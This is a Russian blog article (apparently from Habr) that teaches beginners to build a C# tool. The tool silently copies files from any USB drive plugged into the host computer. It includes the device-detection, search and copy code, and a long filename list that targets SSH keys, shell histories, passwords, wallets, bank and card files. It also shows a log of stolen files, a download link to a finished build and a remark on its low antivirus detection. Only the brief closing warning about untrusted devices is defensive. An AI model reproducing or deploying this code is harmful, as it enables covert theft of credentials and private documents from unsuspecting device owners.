Задача:
Написать ПО несанкционированно копирующее файлы с легально подключенного USB — устройства, не требующее установки и прав администратора.
Т.е. легальное ПО, которое может быть использовано злоумышленниками для нанесения вреда (согласно трактовке одного из антивирусных средств).

Аудитория:
Новички в программировании и просто интересующиеся.
Пример применения ПО злоумышленником:
- 1. Работник просит другого работника скопировать документы с флэшки с какой-либо целью. Теперь эти и другие документы в руках злодея;
- 2. Необходимо распечатать диплом, т.к. дома принтера нет, печатаем в ближайшем копировальном центре. Теперь диплом и другая информация в руках работника копировального центра.
Пишем программу:
1. Ловим подключение USB-устройства
protected override void WndProc(ref Message m)//Обнаружен съемный носитель: base.WndProc(ref m); const int WM_DeviceChange = 0x219; //что-то связанное с usb const int DBT_DEVICEARRIVAL = 0x8000; //устройство подключено const int DBT_DEVICEREMOVECOMPLETE = 0x8004; // устройство отключено if (m.Msg == WM_DeviceChange) Thread T = new Thread(Вредоносная_функция); if (m.WParam.ToInt32() == DBT_DEVICEARRIVAL) T.Start();//новое usb подключено if (m.WParam.ToInt32() == DBT_DEVICEREMOVECOMPLETE) T.Abort();// usb отключено
2. Выбираем форматы файлов для поиска (в индивидуальной последовательности — поскольку каждый сам решает какие типы файлов копировать в первую очередь)
*.ppk *.pref *.remmina *.sh *.txt *.хml* *access*.txt *account* *accs*.txt *admin*.txt *amazon*.txt *authorized_keys* *balance*.txt *bash_history* *billing*.txt *btc*.txt*brute* *c6ep*.txt *cepвep* *codes* *connect* *contacts*.txt *database* *dedic*.txt *dedik*.txt *domain*.txt *ftp*.txt *hack*.txt *host*.txt *icq*.txt *id_*sa* *id_dsa* *id_rsa* *known_hosts* *ksh_history* *login* *mail*.txt *merchant*.txt *money* *myadmin*.txt *mysql_history* *nano_history* *parol* *pass* *pentest* *pgsql_history* *pma*.txt *pref* *qwerty* *rdp*.txt *remmina* *root* *serv*.txt *sh_history* *srv*.txt *todo*.txt *userid* *users* *vds*.txt *vpn*.txt *vps*.txt *vuln*.txt *wallet* *webmon* *zsh_history* *акк*.txt *аккаунт* *баги* *баланс* *баланс*.txt *банк*.txt *бтц* *важн*.txt *вдс*.txt *вебман* *вебман*.txt *взлом* *впн*.txt *впс*.txt *данны* *деньг* *доступ* *задачи* *задачи*.txt *инфо*.txt *картон*.txt *карты*.txt *ключ*.txt *коин* *кош*.txt *кредит* *логин*.txt *парол* *почта* *приват* *рут*.txt *секрет* *секрет*.txt *сервер* *серт*.txt *смс*.txt *сокс*.txt *счет*.txt *тест*.txt *туду*.txt *уязвим* *фтп*.txt *хак*.txt *шел*.txt *шоп*.txt *эккаунт* *эксплоит* access.txt adm.txt all.txt bill.txt card.txt cards.txt cc.txt centos.txt data.txt ded.txt ftps.txt full.txt hdd.txt host.txt id.txt info.txt key.txt linux.txt mail.txt mails.txt pern*.txt skype*.txt sql*.txt ssh*.txt sys.txt tconn.conf toor.txt ubuntu.txt usb.txt user.txt virtual.txt рег*.txt сбер*.txt ссх*.txt *парол* *pass* *pwd* *login* *логин* *vk.com* вконтакте *почты* *.xls* *.doc* *.rtf *.JPG *.jpeg *.pgf *.bmp *.cr2 *config* *пинкод* *банк* 3. Ищем файлы на USB-носителе
private ArrayList F;// Список найденных файлов private void Вредоносная_функция() Thread.Sleep(4000);//засыпаем чтобы дать носителю правильно определиться в операционной системе foreach (var dInfo in DriveInfo.GetDrives()) if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable) for (int i = 0; i < listBox2.Items.Count; i++) { foreach (string file in Directory.GetFiles(@dInfo.Name, listBox2.Items[i].ToString(), SearchOption.AllDirectories)) F.Add(new FILEclass(file, Path.GetFileName(file))); }
5. Копируем файлы с подключенного USB-носителя к себе на компьютер
private void cheat() ...ищем файлы... //Создаем папку куда копировать Directory.CreateDirectory("Liked " + DateTime.Now.Year + "." + DateTime.Now.Month + "." + DateTime.Now.Day); int copied = 0; int copy_err = 0; int exist = 0; for (int i = 0; i < F.Count; i++) { string sourceName = Path.GetFileName((((FILEclass)(F[i])).Fullname)); string source = ((FILEclass)(F[i])).Fullname; string dest = Dir + @"\" + ((FILEclass)(F[i])).name; string destName = Path.GetFileName(Dir + @"\" + ((FILEclass)(F[i])).name); if (sourceName.Equals(destName)) if (File.Exists(source)) if (File.Exists(dest)) try { if (FileCompare(source, dest)) exist++; //такой файл уже есть else//файла нет - несанкционированно копируем File.Copy(source, Dir + @"\" + Timenow() + "s. " + ((FILEclass)(F[i])).name); copied++; } catch{copy_err++; }//на случай если USB-устройство извлекут else { try File.Copy(source, dest); catch { copy_err++; } copied++; } else copy_err++; }
//https://support.microsoft.com/ru-ru/kb/320348 private bool FileCompare(string file1, string file2) int file1byte; int file2byte; FileStream fs1; FileStream fs2; if (file1 == file2) return true;//на сравнение передан один и тот же файл fs1 = new FileStream(file1, FileMode.Open); fs2 = new FileStream(file2, FileMode.Open); if (fs1.Length != fs2.Length) fs1.Close(); fs2.Close(); return false; do { //размер файлов совпал, значит сравним файлы по битам file1byte = fs1.ReadByte(); file2byte = fs2.ReadByte(); } while ((file1byte == file2byte) && (file1byte != -1)); fs1.Close(); fs2.Close(); return ((file1byte - file2byte) == 0);
6. Ведение лога
Добавив лог, легко можно увидеть примерную структуру папок на USB-устройстве и что скопировано:
14.08.2015 21:25:13 ============================================= Программа запущена 14.08.2015 21:25:17 Начат поиск файлов 14.08.2015 21:25:18 Найден файл F:\123hack.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\App1.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\LanguageQualifiers.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\ProjectArchitectures.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\Cisco Mars incident parser\Cisco Mars incident parser\obj\Debug\Cisco Mars incident parser.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\dots\dots\obj\Debug\dots.csproj.FileListAbsolute.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Assets\AboutAssets.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Resources\AboutResources.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug\ResourceTypeUsage.txt 14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug
7. Копирование данных с внешних HDD оставлю в качестве «домашней работы»
Выводы:
Не храните конфиденциальную информацию на съемных USB-устройствах и не подключайте их к не доверенным устройствам.
Готовый пример в «Облако@mail.ru»
www.virustotal.com: 1/56 (антивирус «VBA32» определяет как «Trojan.MSIL.gen.11»).
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
ссылка на оригинал статьи http://habrahabr.ru/post/264513/
Добавить комментарий